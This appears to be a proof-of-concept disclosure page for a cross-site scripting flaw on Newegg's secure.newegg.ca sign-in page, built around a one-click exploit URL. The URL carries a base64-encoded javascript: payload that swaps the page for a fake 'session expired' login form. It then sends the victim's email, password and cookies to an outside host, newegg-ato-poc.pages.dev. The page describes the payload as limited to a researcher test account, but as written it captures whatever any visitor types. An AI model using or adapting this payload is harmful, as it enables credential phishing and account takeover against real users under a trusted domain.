🚨 Newegg — one-click XSS → account takeover

One click on a genuine secure.newegg.ca link runs attacker JavaScript in Newegg's real sign-in origin and captures the credentials the victim types, under Newegg's own domain and certificate.

Reproduce (while signed into Newegg):
  1. Click the button — it opens the real Newegg consent page.
  2. Click “Switch accounts” on that page. The page becomes a “session expired” sign-in form, still on secure.newegg.ca.
  3. Type a test email and password and submit.
Open the Newegg link   then click Switch accounts
View captured credentials →
Exploit URLhttps://secure.newegg.ca/login/auth?appid=ChatGPTApp&fullUrl=amF2YXNjcmlwdDooKCk9Pntkb2N1bWVudC50aXRsZT0nSEZYU1M6Jytkb2N1bWVudC5kb21haW47ZG9jdW1lbnQuYm9keS5pbm5lckhUTUw9JzxkaXYgc3R5bGU9ImZvbnQtZmFtaWx5OnNhbnMtc2VyaWY7bWF4LXdpZHRoOjM2MHB4O21hcmdpbjo2MHB4IGF1dG8iPjxoMj5Zb3VyIHNlc3Npb24gZXhwaXJlZDwvaDI-PHA-UGxlYXNlIHNpZ24gaW4gYWdhaW4gdG8gY29udGludWUuPC9wPjxmb3JtIGlkPWhmPjxpbnB1dCBpZD1oZSBuYW1lPWVtYWlsIHBsYWNlaG9sZGVyPUVtYWlsIHN0eWxlPSJkaXNwbGF5OmJsb2NrO3dpZHRoOjEwMCU7bWFyZ2luOjZweCAwIj48aW5wdXQgaWQ9aHAgbmFtZT1wYXNzd29yZCB0eXBlPXBhc3N3b3JkIHBsYWNlaG9sZGVyPVBhc3N3b3JkIHN0eWxlPSJkaXNwbGF5OmJsb2NrO3dpZHRoOjEwMCU7bWFyZ2luOjZweCAwIj48YnV0dG9uIGlkPWhiPlNJR04gSU48L2J1dHRvbj48L2Zvcm0-PC9kaXY-Jztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaGYnKS5hZGRFdmVudExpc3RlbmVyKCdzdWJtaXQnLGZ1bmN0aW9uKGUpe2UucHJldmVudERlZmF1bHQoKTt2YXIgbG9vdD17bWFya2VyOidORVdFR0ctUE9DJyxvcmlnaW46ZG9jdW1lbnQuZG9tYWluLGhyZWY6bG9jYXRpb24uaHJlZixlbWFpbDpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaGUnKS52YWx1ZSxwYXNzd29yZDpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaHAnKS52YWx1ZSxjb29raWU6ZG9jdW1lbnQuY29va2llLGNvb2tpZUxlbjpkb2N1bWVudC5jb29raWUubGVuZ3RofTt0cnl7bmF2aWdhdG9yLnNlbmRCZWFjb24oJ2h0dHBzOi8vbmV3ZWdnLWF0by1wb2MucGFnZXMuZGV2L2MnLEpTT04uc3RyaW5naWZ5KGxvb3QpKX1jYXRjaChfKXt9dHJ5e25ldyBJbWFnZSgpLnNyYz0naHR0cHM6Ly9uZXdlZ2ctYXRvLXBvYy5wYWdlcy5kZXYvYz92aWE9aW1nJm1hcmtlcj1ORVdFR0ctUE9DJm9yaWdpbj0nK2VuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5kb21haW4pKycmZW1haWw9JytlbmNvZGVVUklDb21wb25lbnQobG9vdC5lbWFpbCkrJyZwYXNzd29yZD0nK2VuY29kZVVSSUNvbXBvbmVudChsb290LnBhc3N3b3JkKX1jYXRjaChfKXt9fSk7fSkoKQ
Safety: captures only what is typed into the demo form, against a researcher-owned Newegg test account. No action is taken against anyone who opens the link.